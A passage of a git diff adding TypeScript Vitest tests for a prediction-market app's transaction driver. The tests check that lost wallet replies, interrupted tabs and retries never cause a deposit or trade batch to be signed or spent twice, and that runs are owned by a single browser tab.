mined", () => { + it.each([ + ["an sDAI deposit", false], + ["an xDAI deposit", true], + ])("does not ask for a second deposit signature (%s)", async (_, depositNative) => { + const before = WAD * 2n; + const snap: PredictSnapshot = snapshot({ + deposit: WAD * 3n, + depositNative, + collateralIn: WAD * 5n, + collateralBefore: before, + }); + const store = createFlowRunStore({ storage: createMemoryStorage() }); + const flowId = `predict-pending-deposit-${depositNative ? "xdai" : "sdai"}`; + + // the tab died between the wallet signing the deposit and its hash reaching storage + store.save>({ + flowId, + adapterId: "predict-flow", + snapshot: snap, + ctx: ctx(), + status: "running", + steps: [ + { + stepId: STEP_ID.createExecutor, + label: "Set up your trade wallet", + outcome: { status: "confirmed", hash: `0x${"a".repeat(64)}`, blockNumber: 18_999_999n }, + }, + { stepId: STEP_ID.deposit, label: "Add money to your trade wallet", outcome: { status: "awaiting-signature" } }, + { stepId: STEP_ID.predict(1), label: "Making your prediction", outcome: { status: "pending" } }, + ], + }); + + const world = chain({ balance: before, stuck: true }); + const driver = createPredictRun({ + gateway: world.gateway, + reader: world.reader, + quoter: fakeQuoter(), + flowId, + store, + ctx: () => ctx(), + snapshot: () => snap, + }); + drivers.push(driver); + + driver.start(); + // a run may halt with a reason, or wait on the pending deposit; neither may open the wallet for it + const settled = () => { + const progress = driver.getProgress(); + return progress.stage === "complete" || (progress.stage === "halted" && progress.failure !== undefined); + }; + await vi + .waitFor(() => expect(world.signRequests.some(isDeposit) || settled()).toBe(true), { timeout: 1_000 }) + .catch(() => undefined); + + expect(world.signRequests.filter(isDeposit)).toEqual([]); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.unansweredSend.test.ts b/apps/web/src/features/predict/run/__tests__/driver.unansweredSend.test.ts new file mode 100644 index 00000000..e6d60110 --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.unansweredSend.test.ts @@ -0,0 +1,205 @@ +import type { FlowTx, TxGateway } from "@foresight/tx-orchestrator"; +import { TimeoutError, type Hash, type TransactionReceipt } from "viem"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { + addresses, + chainState, + ctx, + fakeQuoter, + fakeReader, + gasLimitFor, + option, + snapshot, + WAD, +} from "../../flow/__tests__/support/fakes"; +import type { OptionChainState, PredictOption, SentTx } from "../../flow/types"; +import { sqrtPriceX96FromPrice } from "../../utils/poolMath"; +import { createPredictRun } from "../driver"; +import type { PredictDriver, PredictProgress } from "../types"; + +/** What the dev wallet's send throws when the node takes longer than its 10 s to answer. */ +const sendTimedOut = () => + new Error("An unknown RPC error occurred.", { + cause: new TimeoutError({ body: { method: "eth_sendTransaction" }, url: "http://127.0.0.1:8545" }), + }); + +/** Both of `option`'s pools at its estimate. */ +const atEstimate = (each: PredictOption): OptionChainState => { + const base = chainState(); + return chainState({ + pools: { + up: { ...base.pools.up, sqrtPriceX96: sqrtPriceX96FromPrice(each.targetPriceWad, true) }, + down: { ...base.pools.down, sqrtPriceX96: sqrtPriceX96FromPrice(WAD - each.targetPriceWad, true) }, + }, + }); +}; + +/** + * A chain that mines the owner's sends in nonce order. A send in `lost` lands `lagMs` after its + * wallet call has thrown, as a node does when the client gives up waiting for its answer. + */ +function chainWithLostAnswers(lost: { isLost: (tx: FlowTx) => boolean; lagMs: number }) { + const mined: Array<{ hash: Hash; tx: FlowTx }> = []; + let broadcast = 0; + const sends: FlowTx[] = []; + const waitedOn: Hash[] = []; + + const receipt = (hash: Hash) => + ({ transactionHash: hash, status: "success", blockNumber: 19_000_000n, logs: [] }) as unknown as TransactionReceipt; + + const gateway: TxGateway = { + sendTransaction: (tx) => { + sends.push(tx); + const nonce = broadcast++; + const hash = `0x${(nonce + 1).toString(16).padStart(64, "0")}` as Hash; + if (!lost.isLost(tx)) { + mined[nonce] = { hash, tx }; + return Promise.resolve(hash); + } + setTimeout(() => (mined[nonce] = { hash, tx }), lost.lagMs); + return Promise.reject(sendTimedOut()); + }, + waitForReceipt: ({ hash }) => { + waitedOn.push(hash); + return Promise.resolve(receipt(hash)); + }, + getReceipt: (hash) => Promise.resolve(receipt(hash)), + isKnown: () => Promise.resolve(true), + }; + + const sentWithNonce = ({ nonce }: { nonce: number }): Promise => { + const landed = mined[nonce]; + if (landed) { + const { to, value = 0n, data = "0x" } = landed.tx; + return Promise.resolve({ status: "mined", hash: landed.hash, to, value, input: data, success: true }); + } + return Promise.resolve(nonce < broadcast ? { status: "pending" } : { status: "none" }); + }; + + return { + gateway, + sends, + waitedOn, + landed: (tx: FlowTx) => mined.some((each) => each?.tx === tx), + reader: { nextNonce: () => Promise.resolve(broadcast), sentWithNonce }, + }; +} + +const isBatch = (tx: FlowTx) => tx.to === addresses.executor; + +const drivers: PredictDriver[] = []; +afterEach(() => { + for (const driver of drivers.splice(0)) driver.dispose(); +}); + +/** Every failure the popup was shown, in order. */ +function failuresOf(driver: PredictDriver): Array> { + const seen: Array> = []; + driver.subscribe(() => { + const failure = driver.getProgress().failure; + if (failure && seen.at(-1) !== failure) seen.push(failure); + }); + return seen; +} + +describe("createPredictRun when the wallet never answers a send that lands", () => { + it("completes the run from the landed batch, never reporting it failed", async () => { + const chain = chainWithLostAnswers({ isLost: isBatch, lagMs: 20 }); + const driver = createPredictRun({ + gateway: chain.gateway, + reader: { ...fakeReader({ deployed: true }), ...chain.reader }, + quoter: fakeQuoter(), + flowId: "predict-lost-answer", + ctx: () => ctx(), + snapshot: () => snapshot(), + unansweredSend: { waitMs: 2_000, pollMs: 5 }, + }); + drivers.push(driver); + const failures = failuresOf(driver); + + driver.start(); + await vi.waitFor(() => expect(["halted", "complete"]).toContain(driver.getProgress().stage)); + + expect(failures).toEqual([]); + expect(driver.getProgress().stage).toBe("complete"); + const batches = chain.sends.filter(isBatch); + expect(batches).toHaveLength(1); + // the run waited on the landed batch's own receipt + expect(chain.waitedOn).toHaveLength(2); + }); + + it("on Try the rest, completes from the step's own transaction rather than building it again", async () => { + const [first, second] = [option(1), option(2)]; + let secondBatch: FlowTx | undefined; + const chain = chainWithLostAnswers({ + isLost: (tx) => { + if (!isBatch(tx) || chain.sends.filter(isBatch).length < 2) return false; + secondBatch = tx; + return true; + }, + // lands after the run stopped waiting for it + lagMs: 60, + }); + const reader = { + ...fakeReader({ + deployed: true, + // the first batch's split hands the second option its underlying, and its own batch moves its pools + state: (each) => + each !== second + ? chainState() + : secondBatch && chain.landed(secondBatch) + ? atEstimate(each) + : chainState({ underlying: WAD }), + }), + ...chain.reader, + blockGasLimit: () => Promise.resolve(gasLimitFor(1)), + }; + const driver = createPredictRun({ + gateway: chain.gateway, + reader, + quoter: fakeQuoter(), + flowId: "predict-lost-answer-retry", + ctx: () => ctx(), + snapshot: () => snapshot({ options: [first, second] }), + unansweredSend: { waitMs: 10, pollMs: 5 }, + }); + drivers.push(driver); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("halted")); + expect(driver.getProgress().failure?.retryable).toBe(true); + await vi.waitFor(() => expect(secondBatch && chain.landed(secondBatch)).toBe(true)); + + driver.retry(); + await vi.waitFor(() => expect(["halted", "complete"]).toContain(driver.getProgress().stage)); + + expect(driver.getProgress().failure).toBeUndefined(); + expect(driver.getProgress().stage).toBe("complete"); + expect(chain.sends.filter(isBatch)).toHaveLength(2); + }); + + it("on Try the rest while the unanswered send is still unmined, says so and signs nothing", async () => { + const chain = chainWithLostAnswers({ isLost: isBatch, lagMs: 60_000 }); + const driver = createPredictRun({ + gateway: chain.gateway, + reader: { ...fakeReader({ deployed: true }), ...chain.reader }, + quoter: fakeQuoter(), + flowId: "predict-lost-answer-pending", + ctx: () => ctx(), + snapshot: () => snapshot(), + unansweredSend: { waitMs: 10, pollMs: 5 }, + }); + drivers.push(driver); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("halted")); + expect(driver.getProgress().failure?.reason).toBe("pending"); + + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("halted")); + + expect(driver.getProgress().failure?.reason).toBe("pending"); + expect(chain.sends.filter(isBatch)).toHaveLength(1); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.witness.test.ts b/apps/web/src/features/predict/run/__tests__/driver.witness.test.ts new file mode 100644 index 00000000..a64b7d6a --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.witness.test.ts @@ -0,0 +1,438 @@ +import { + createFlowRunStore, + createMemoryStorage, + type FlowRunStore, + type FlowTx, + type StepSummary, + type TxGateway, +} from "@foresight/tx-orchestrator"; +import { decodeFunctionData, encodeFunctionData, parseAbi, type Hash, type TransactionReceipt } from "viem"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { batchExecuteTx } from "@/lib/trade-executor/executor"; + +import { gnosisRouterAbi, tradeExecutorAbi } from "@/config/contracts"; + +import { + addresses, + ctx, + fakeCreditsQuoter, + fakeQuoter, + fakeReader, + landedTx, + mintLog, + snapshot, + VAULT_RATE, + WAD, +} from "../../flow/__tests__/support/fakes"; +import { STEP_ID } from "../../flow/plan"; +import type { LandedTx, PredictCtx, PredictSnapshot, SentTx } from "../../flow/types"; +import { createPredictRun } from "../driver"; +import type { PredictDriver } from "../types"; + +const TRANSFER = parseAbi(["function transfer(address to, uint256 amount)"]); +const EXECUTE = parseAbi(["function execute(address to, bytes data, uint256 amount, address outputToken)"]); + +function batchCalls(tx: FlowTx) { + if (tx.to !== addresses.executor || !tx.data) return []; + const decoded = decodeFunctionData({ abi: tradeExecutorAbi, data: tx.data }); + if (decoded.functionName !== "batchValueExecute" && decoded.functionName !== "batchExecute") return []; + return decoded.args[0].map((call) => ({ to: call.to, data: call.data })); +} + +/** sDAI the batch splits at the parent market. */ +function parentSplit(tx: FlowTx): bigint { + let sum = 0n; + for (const call of batchCalls(tx)) { + if (call.to !== addresses.router) continue; + const decoded = decodeFunctionData({ abi: gnosisRouterAbi, data: call.data }); + if (decoded.functionName === "splitPosition" && decoded.args[1] === addresses.parentMarket) sum += decoded.args[2]; + } + return sum; +} + +const burns = (tx: FlowTx): bigint => + batchCalls(tx) + .filter((call) => call.to === addresses.manager) + .reduce((sum, call) => sum + decodeFunctionData({ abi: EXECUTE, data: call.data }).args[2], 0n); + +/** What the fake vault mints for an xDAI deposit. */ +const mintedFor = (xdai: bigint) => (xdai * WAD) / VAULT_RATE; + +/** + * A chain holding the trade wallet's credits and sDAI. What lands is kept in a ledger the reader + * reads back as the owner's landed transactions; `hold` keeps a send in the mempool until `mine`. + */ +function moneyChain(start: { owner: bigint; executorCredits: bigint; collateral: bigint; landed?: LandedTx[] }) { + const balances = { owner: start.owner, executor: start.executorCredits, collateral: start.collateral }; + const signRequests: FlowTx[] = []; + const ledger: LandedTx[] = [...(start.landed ?? [])]; + const landed = { transfers: 0, spends: 0, batches: 0, deposits: 0, split: 0n }; + const chain = new Map(); + const held = new Map(); + let hold = false; + + const receipt = (hash: Hash): TransactionReceipt => { + const mined = chain.get(hash)!; + return { + transactionHash: hash, + status: mined.status, + blockNumber: 19_000_000n, + logs: mined.minted > 0n ? [mintLog(mined.minted)] : [], + } as unknown as TransactionReceipt; + }; + + /** Lands `tx` if the chain lets it, and returns what it minted into the trade wallet. */ + function land(hash: Hash, tx: FlowTx) { + const reverts = burns(tx) > balances.executor || parentSplit(tx) > balances.collateral; + let minted = 0n; + if (!reverts) { + if (tx.to === addresses.credits) { + const [, amount] = decodeFunctionData({ abi: TRANSFER, data: tx.data! }).args; + balances.owner -= amount; + balances.executor += amount; + landed.transfers += 1; + } else if (tx.to === addresses.sDaiAdapter) { + minted = mintedFor(tx.value ?? 0n); + balances.collateral += minted; + landed.deposits += 1; + } else if (tx.to === addresses.executor) { + const burned = burns(tx); + if (burned > 0n) landed.spends += 1; + balances.executor -= burned; + const split = parentSplit(tx); + balances.collateral -= split; + landed.split += split; + landed.batches += 1; + } + ledger.push(landedTx(tx, minted)); + } + chain.set(hash, { status: reverts ? "reverted" : "success", minted }); + } + + const gateway: TxGateway = { + sendTransaction: (tx) => { + signRequests.push(tx); + const hash = `0x${signRequests.length.toString(16).padStart(64, "0")}` as Hash; + if (hold) held.set(hash, tx); + else land(hash, tx); + return Promise.resolve(hash); + }, + waitForReceipt: ({ hash }) => Promise.resolve(receipt(hash)), + getReceipt: (hash) => Promise.resolve(chain.has(hash) ? receipt(hash) : null), + isKnown: (hash) => Promise.resolve(chain.has(hash) || held.has(hash)), + }; + + const base = fakeReader({ + deployed: true, + credits: (holder) => (holder === addresses.executor ? balances.executor : balances.owner), + landed: () => ledger, + pending: () => held.size > 0, + }); + const hashAt = (nonce: number) => `0x${(nonce + 1).toString(16).padStart(64, "0")}` as Hash; + const reader = { + ...base, + collateralBalance: () => Promise.resolve(balances.collateral), + // each send takes the owner's next nonce + nextNonce: () => Promise.resolve(signRequests.length), + sentWithNonce: ({ nonce }: { nonce: number }): Promise => { + const tx = signRequests[nonce]; + const mined = chain.get(hashAt(nonce)); + if (!tx) return Promise.resolve({ status: "none" }); + if (!mined) return Promise.resolve({ status: "pending" }); + const { to, value = 0n, data = "0x" } = tx; + const sent = { hash: hashAt(nonce), to, value, input: data, success: mined.status === "success" }; + return Promise.resolve({ status: "mined", ...sent }); + }, + }; + + return { + gateway, + reader, + balances, + landed, + signRequests, + /** Sends from now on wait in the mempool. */ + holdSends: () => void (hold = true), + /** Mines everything waiting, and lets later sends land at once. */ + mine: () => { + hold = false; + for (const [hash, tx] of held) land(hash, tx); + held.clear(); + }, + }; +} + +type Request = Omit; + +const request = (overrides: Partial): Request => { + const { collateralAtStart, creditsAtStart, fromBlock, ...rest } = snapshot(overrides); + void collateralAtStart; + void creditsAtStart; + void fromBlock; + return rest; +}; + +const drivers: PredictDriver[] = []; +afterEach(() => { + for (const driver of drivers.splice(0)) driver.dispose(); +}); + +function drive(chain: ReturnType, req: Request, store?: FlowRunStore, flowId = "witness") { + const driver = createPredictRun({ + gateway: chain.gateway, + reader: chain.reader, + quoter: fakeQuoter(), + creditsQuoter: fakeCreditsQuoter(), + flowId, + store, + ctx: () => ctx(), + snapshot: () => req, + unansweredSend: { waitMs: 10, pollMs: 5 }, + }); + drivers.push(driver); + return driver; +} + +const settled = (driver: PredictDriver) => + vi.waitFor(() => expect(["halted", "complete", "review"]).toContain(driver.getProgress().stage)); + +const row = (stepId: string, outcome: StepSummary["outcome"]): StepSummary => ({ stepId, label: stepId, outcome }); +const confirmed = (letter: string): StepSummary["outcome"] => ({ + status: "confirmed", + hash: `0x${letter.repeat(64)}`, + blockNumber: 1n, +}); + +function stored(snap: PredictSnapshot, steps: StepSummary[]): FlowRunStore { + const store = createFlowRunStore({ storage: createMemoryStorage() }); + store.save({ + flowId: "witness", + adapterId: "predict-flow", + status: "paused", + reason: "rejected", + ctx: ctx(), + snapshot: snap, + steps, + }); + return store; +} + +/** A first batch of `run` as it landed: it splits the run's sDAI at `parentMarket`. */ +const landedBatch = (collateralIn: bigint, parentMarket = addresses.parentMarket): LandedTx => + landedTx( + batchExecuteTx(addresses.executor, [ + { + to: addresses.router, + data: encodeFunctionData({ + abi: gnosisRouterAbi, + functionName: "splitPosition", + args: [addresses.collateral, parentMarket, collateralIn], + }), + }, + ]), + ); + +describe("a first batch is witnessed by its own transaction, not by balances", () => { + it("does not sign and spend a first batch again on Retry when the node took it but the wallet's reply was lost", async () => { + // 5 credits spent from the 10 the trade wallet holds, plus 2 sDAI from its 10 + const chain = moneyChain({ owner: 0n, executorCredits: 10n * WAD, collateral: 10n * WAD }); + const send = chain.gateway.sendTransaction; + let failed = false; + chain.gateway.sendTransaction = async (tx, opts) => { + const hash = await send(tx, opts); + if (tx.to === addresses.executor && !failed) { + failed = true; + throw new Error("Request timed out"); + } + return hash; + }; + const driver = drive( + chain, + request({ deposit: 0n, collateralIn: 2n * WAD, collateralBefore: 10n * WAD, creditsToSpend: 5n * WAD }), + ); + + driver.start(); + await settled(driver); + expect(chain.landed.spends).toBe(1); + driver.retry(); + await settled(driver); + + expect({ spends: chain.landed.spends, split: chain.landed.split }).toEqual({ spends: 1, split: 2n * WAD }); + expect(driver.getProgress().stage).toBe("complete"); + }); + + it("signs nothing on Retry while a first batch whose reply was lost is still in the mempool", async () => { + const chain = moneyChain({ owner: 0n, executorCredits: 10n * WAD, collateral: 10n * WAD }); + const send = chain.gateway.sendTransaction; + chain.gateway.sendTransaction = async (tx, opts) => { + if (tx.to !== addresses.executor) return send(tx, opts); + chain.holdSends(); + await send(tx, opts); + throw new Error("Request timed out"); + }; + const driver = drive( + chain, + request({ deposit: 0n, collateralIn: 2n * WAD, collateralBefore: 10n * WAD, creditsToSpend: 5n * WAD }), + ); + + driver.start(); + await settled(driver); + driver.retry(); + await settled(driver); + + expect(driver.getProgress().failure?.reason).toBe("pending"); + expect(chain.signRequests.filter((tx) => tx.to === addresses.executor)).toHaveLength(1); + + chain.mine(); + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + expect({ spends: chain.landed.spends, split: chain.landed.split }).toEqual({ spends: 1, split: 2n * WAD }); + }); + + it("does not read credits withdrawn while the run sat unfinished as a landed first batch", async () => { + // Add credits landed, batch 1 was open in the wallet as the tab closed and never signed; + // the owner then withdrew the 2 credits from the trade wallet + const chain = moneyChain({ owner: 3n * WAD, executorCredits: 0n, collateral: 0n }); + const snap = { + ...request({ deposit: 0n, collateralIn: 0n, creditsFromEoa: (3n * WAD) / 2n, creditsToSpend: 2n * WAD }), + collateralAtStart: 0n, + creditsAtStart: WAD / 2n, + fromBlock: 1n, + }; + const store = stored(snap, [ + row(STEP_ID.createExecutor, { status: "skipped" }), + row(STEP_ID.addCredits, confirmed("a")), + row(STEP_ID.predict(1), { status: "awaiting-signature" }), + ]); + const driver = drive(chain, snap, store); + + driver.recover(); + await settled(driver); + driver.resume(); + await settled(driver); + + expect(chain.landed.batches).toBe(0); + expect(driver.getProgress().stage, "a prediction reported as placed with no batch on chain").not.toBe("complete"); + }); + + it("does not read another session's run spending the trade wallet's credits as this run's first batch", async () => { + // this run left batch 1 unsigned; a run in another session then burned the trade wallet's credits + const other = "0x00000000000000000000000000000000000000ff" as const; + const chain = moneyChain({ owner: 0n, executorCredits: 0n, collateral: 0n, landed: [landedBatch(WAD, other)] }); + const snap = { + ...request({ deposit: 0n, collateralIn: 0n, creditsToSpend: 2n * WAD }), + collateralAtStart: 0n, + creditsAtStart: 2n * WAD, + fromBlock: 1n, + }; + const store = stored(snap, [ + row(STEP_ID.createExecutor, { status: "skipped" }), + row(STEP_ID.predict(1), { status: "awaiting-signature" }), + ]); + const driver = drive(chain, snap, store); + + driver.recover(); + await settled(driver); + driver.resume(); + await settled(driver); + + expect(driver.getProgress().stage, "reported placed with nothing traded").not.toBe("complete"); + }); + + it("does not sign an sDAI run's first batch again on reload when it landed as the tab closed", async () => { + // 2 of the trade wallet's 10 sDAI; batch 1 mined after the tab closed, leaving 8 + const chain = moneyChain({ owner: 0n, executorCredits: 0n, collateral: 8n * WAD, landed: [landedBatch(2n * WAD)] }); + const snap = { + ...request({ deposit: 0n, collateralIn: 2n * WAD, collateralBefore: 10n * WAD }), + collateralAtStart: 10n * WAD, + creditsAtStart: 0n, + fromBlock: 1n, + }; + const store = stored(snap, [ + row(STEP_ID.createExecutor, { status: "skipped" }), + row(STEP_ID.predict(1), { status: "awaiting-signature" }), + ]); + const driver = drive(chain, snap, store); + + driver.recover(); + await settled(driver); + driver.resume(); + await settled(driver); + + expect(chain.landed.split, "sDAI split a second time").toBe(0n); + expect(driver.getProgress().stage).toBe("complete"); + }); +}); + +describe("an xDAI deposit is witnessed by its own transaction", () => { + it("does not take sDAI that reached the trade wallet some other way as the deposit, nor split it", async () => { + // the deposit was open in the wallet as the tab closed and never sent; the owner then put + // 50 sDAI into the trade wallet from the Trade wallet panel + const chain = moneyChain({ owner: 0n, executorCredits: 0n, collateral: 50n * WAD }); + const shown = mintedFor(WAD); + const snap = { + ...request({ deposit: WAD, depositNative: true, collateralIn: shown, collateralBefore: 0n }), + collateralAtStart: 0n, + creditsAtStart: 0n, + fromBlock: 1n, + }; + const store = stored(snap, [ + row(STEP_ID.createExecutor, { status: "skipped" }), + row(STEP_ID.deposit, { status: "awaiting-signature" }), + row(STEP_ID.predict(1), { status: "pending" }), + ]); + const driver = drive(chain, snap, store); + + driver.recover(); + await settled(driver); + // not seen on chain, so it may still be confirming; a retry reads it again before signing + expect(driver.getProgress().failure?.reason).toBe("deposit-unconfirmed"); + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + + expect(chain.landed.deposits).toBe(1); + expect(chain.landed.split, "split no more than the sDAI the popup showed").toBe(shown); + }); + + it("splits what a deposit that landed as the tab closed minted, not the trade wallet's balance", async () => { + const shown = mintedFor(WAD); + const snap = { + ...request({ deposit: WAD, depositNative: true, collateralIn: shown, collateralBefore: 0n }), + collateralAtStart: 0n, + creditsAtStart: 0n, + fromBlock: 1n, + }; + // the deposit mined as the tab closed: one wei under the preview, as a vault rate step leaves it + const deposit = { + to: addresses.sDaiAdapter, + value: WAD, + data: encodeFunctionData({ + abi: parseAbi(["function depositXDAI(address receiver)"]), + functionName: "depositXDAI", + args: [addresses.executor], + }), + }; + const chain = moneyChain({ + owner: 0n, + executorCredits: 0n, + collateral: 50n * WAD + shown - 1n, + landed: [landedTx(deposit, shown - 1n)], + }); + const store = stored(snap, [ + row(STEP_ID.createExecutor, { status: "skipped" }), + row(STEP_ID.deposit, { status: "awaiting-signature" }), + row(STEP_ID.predict(1), { status: "pending" }), + ]); + const driver = drive(chain, snap, store); + + driver.recover(); + await settled(driver); + expect(driver.getProgress().stage).toBe("review"); + driver.resume(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + + expect(chain.signRequests.filter((tx) => tx.to === addresses.sDaiAdapter)).toEqual([]); + expect(chain.landed.split).toBe(shown - 1n); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/interrupted.test.ts b/apps/web/src/features/predict/run/__tests__/interrupted.test.ts new file mode 100644 index 00000000..877a2d00 --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/interrupted.test.ts @@ -0,0 +1,142 @@ +import { createFlowRunStore, createMemoryStorage, type RunPhase, type StepOutcome } from "@foresight/tx-orchestrator"; +import { describe, expect, it } from "vitest"; + +import { DEFAULT_CHAIN_ID } from "@/config/chains"; + +import { ctx, snapshot, WAD } from "../../flow/__tests__/support/fakes"; +import { discardRun, findInterruptedRun, hasPendingTransaction, predictFlowId, unsettledRun } from "../interrupted"; + +const OWNER = "0xA11ce000000000000000000000000000000A11CE"; +const OTHER = "0xb0b00000000000000000000000000000000000b0"; +const SAVED = snapshot({ deposit: WAD * 3n }); + +type PersistedPhase = Exclude; + +const HASH = `0x${"ab".repeat(32)}` as const; + +function storeWith( + flowId: string, + owner: `0x${string}`, + deposit: StepOutcome = { status: "pending" }, + phase: PersistedPhase = { status: "running" }, + chainId: number = DEFAULT_CHAIN_ID, +) { + const store = createFlowRunStore({ storage: createMemoryStorage() }); + store.save({ + flowId, + adapterId: "predict-flow", + snapshot: SAVED, + ctx: ctx({ owner, chainId }), + steps: [ + { stepId: "deposit", label: "Add funds", outcome: deposit }, + { stepId: "predict", label: "Predict", outcome: { status: "pending" } }, + ], + ...phase, + }); + return store; +} + +const submitted: StepOutcome = { status: "submitted", hash: HASH }; +const halted: PersistedPhase = { + status: "paused", + reason: "error", + error: { stepId: "deposit", message: "RPC unavailable", cause: "rpc", hash: HASH }, +}; +const reverted: PersistedPhase = { + status: "failed", + error: { stepId: "deposit", message: "The transaction reverted on chain.", cause: "reverted", hash: HASH }, +}; + +describe("findInterruptedRun", () => { + it("returns the stored snapshot of the owner's run for the session, whatever the address's case", () => { + const store = storeWith(predictFlowId("7", OWNER), OWNER); + + expect(findInterruptedRun(store, "7", OWNER.toLowerCase() as `0x${string}`)).toEqual(SAVED); + }); + + it("returns nothing for another owner's run", () => { + expect(findInterruptedRun(storeWith(predictFlowId("7", OWNER), OWNER), "7", OTHER)).toBeNull(); + }); + + it("returns nothing for another session's run", () => { + expect(findInterruptedRun(storeWith(predictFlowId("8", OWNER), OWNER), "7", OWNER)).toBeNull(); + }); +}); + +describe("discardRun", () => { + it("forgets the owner's run", () => { + const store = storeWith(predictFlowId("7", OWNER), OWNER); + discardRun(store, "7", OWNER); + expect(store.load(predictFlowId("7", OWNER))).toBeNull(); + }); + + it("leaves another owner's run alone", () => { + const store = storeWith(predictFlowId("7", OTHER), OTHER); + discardRun(store, "7", OWNER); + expect(store.load(predictFlowId("7", OTHER))).not.toBeNull(); + }); +}); + +describe("a run whose transaction has not reconciled", () => { + it("is reported as pending for its owner ", () => { + for (const key of [predictFlowId("7", OWNER)]) { + expect(hasPendingTransaction(storeWith(key, OWNER, submitted, halted), "7", OWNER)).toBe(true); + } + }); + + it("is kept when discarded", () => { + for (const key of [predictFlowId("7", OWNER)]) { + const store = storeWith(key, OWNER, submitted, halted); + discardRun(store, "7", OWNER); + expect(store.load(key)).not.toBeNull(); + } + }); +}); + +describe("a run with nothing awaiting a receipt", () => { + const settled = [ + ["nothing was submitted", { status: "pending" }, { status: "running" }], + ["the deposit confirmed", { status: "confirmed", hash: HASH, blockNumber: 1n }, { status: "running" }], + ["the deposit reverted", { status: "pending" }, reverted], + ] as const satisfies ReadonlyArray; + + it.each(settled)("is not pending when %s", (_name, deposit, phase) => { + expect(hasPendingTransaction(storeWith(predictFlowId("7", OWNER), OWNER, deposit, phase), "7", OWNER)).toBe(false); + }); + + it.each(settled)("is forgotten when discarded after %s", (_name, deposit, phase) => { + const store = storeWith(predictFlowId("7", OWNER), OWNER, deposit, phase); + discardRun(store, "7", OWNER); + expect(store.load(predictFlowId("7", OWNER))).toBeNull(); + }); +}); + +describe("a stored run past its expiry", () => { + const DAY = 24 * 60 * 60 * 1000; + const held = { owner: OWNER, nonce: 4, fromBlock: 10n, tx: { to: OTHER } } as const; + + function agedStore(unanswered?: Record) { + let clock = 1_700_000_000_000; + const store = createFlowRunStore({ storage: createMemoryStorage(), now: () => clock, unsettled: unsettledRun }); + store.save({ + flowId: predictFlowId("7", OWNER), + adapterId: "predict-flow", + snapshot: { ...SAVED, ...(unanswered ? { unanswered } : {}) }, + ctx: ctx({ owner: OWNER }), + steps: [{ stepId: "deposit", label: "Add funds", outcome: { status: "pending" } }], + status: "paused", + reason: "error", + error: { stepId: "deposit", message: "Internal error", cause: "rpc" }, + }); + clock += 4 * DAY; + return store; + } + + it("is kept while it holds a send the wallet was asked for", () => { + expect(agedStore({ deposit: held }).load(predictFlowId("7", OWNER))).not.toBeNull(); + }); + + it("is pruned once nothing in it is unsettled", () => { + expect(agedStore().load(predictFlowId("7", OWNER))).toBeNull(); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/ownership.test.ts b/apps/web/src/features/predict/run/__tests__/ownership.test.ts new file mode 100644 index 00000000..cc118238 --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/ownership.test.ts @@ -0,0 +1,196 @@ +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { createRunOwnership, type LeaseStorage, type RunLocks } from "../ownership"; + +/** + * A LockManager for one tab's view of the locks: `elsewhere` names those another tab holds. + * jsdom has no Web Locks API, so the two methods used are written out here. + */ +function fakeLocks(elsewhere: string[] = []) { + const ours = new Set(); + const locks = { + request: (async (name: string, _options: LockOptions, callback: (lock: Lock | null) => unknown) => { + if (elsewhere.includes(name) || ours.has(name)) return callback(null); + ours.add(name); + try { + return await callback({ name, mode: "exclusive" }); + } finally { + ours.delete(name); + } + }) as RunLocks["request"], + query: () => + Promise.resolve({ + held: [...elsewhere, ...ours].map((name) => ({ name, mode: "exclusive" as const, clientId: "" })), + pending: [], + }), + } satisfies RunLocks; + return { locks, ours }; +} + +const FLOW = "predict-100-0xowner-session"; +const LOCK = `foresight.predict-run.${FLOW}`; + +describe("createRunOwnership", () => { + it("takes a run no other tab holds, and lets it go on release", async () => { + const { locks, ours } = fakeLocks(); + const ownership = createRunOwnership(locks); + + const release = await ownership.claim(FLOW); + expect(ours.has(LOCK)).toBe(true); + release!(); + + await expect.poll(() => ours.has(LOCK)).toBe(false); + }); + + it("reads its own run as not held elsewhere while the lock manager is still letting it go", async () => { + const { locks } = fakeLocks(); + const ownership = createRunOwnership(locks); + + const release = await ownership.claim(FLOW); + release!(); + + // asked in the same task, before the lock manager has taken the release + expect(await ownership.heldElsewhere(FLOW)).toBe(false); + }); + + it("answers null for a run another tab holds", async () => { + const ownership = createRunOwnership(fakeLocks([LOCK]).locks); + + await expect(ownership.claim(FLOW)).resolves.toBeNull(); + }); + + it("reports a run another tab holds as held elsewhere, and its own as not", async () => { + const elsewhere = createRunOwnership(fakeLocks([LOCK]).locks); + const here = createRunOwnership(fakeLocks().locks); + await here.claim(FLOW); + + expect(await elsewhere.heldElsewhere(FLOW)).toBe(true); + expect(await here.heldElsewhere(FLOW)).toBe(false); + }); + + it("reports a run this tab holds as held here, and no longer once it lets go", async () => { + const ownership = createRunOwnership(fakeLocks().locks); + + const release = await ownership.claim(FLOW); + expect(ownership.heldHere(FLOW)).toBe(true); + release!(); + + expect(ownership.heldHere(FLOW)).toBe(false); + }); +}); + +/** One origin's localStorage, shared by the tabs built on it. */ +function sharedStorage() { + const items = new Map(); + const storage: LeaseStorage = { + getItem: (key) => items.get(key) ?? null, + setItem: (key, value) => void items.set(key, value), + removeItem: (key) => void items.delete(key), + }; + return { storage, items }; +} + +const refusingLocks: RunLocks = { + request: (() => Promise.reject(new DOMException("not fully active", "InvalidStateError"))) as RunLocks["request"], + query: () => Promise.reject(new DOMException("opaque origin", "SecurityError")), +}; + +const LEASE = `foresight.predict-lease.${FLOW}`; + +describe("createRunOwnership with no usable Web Locks", () => { + 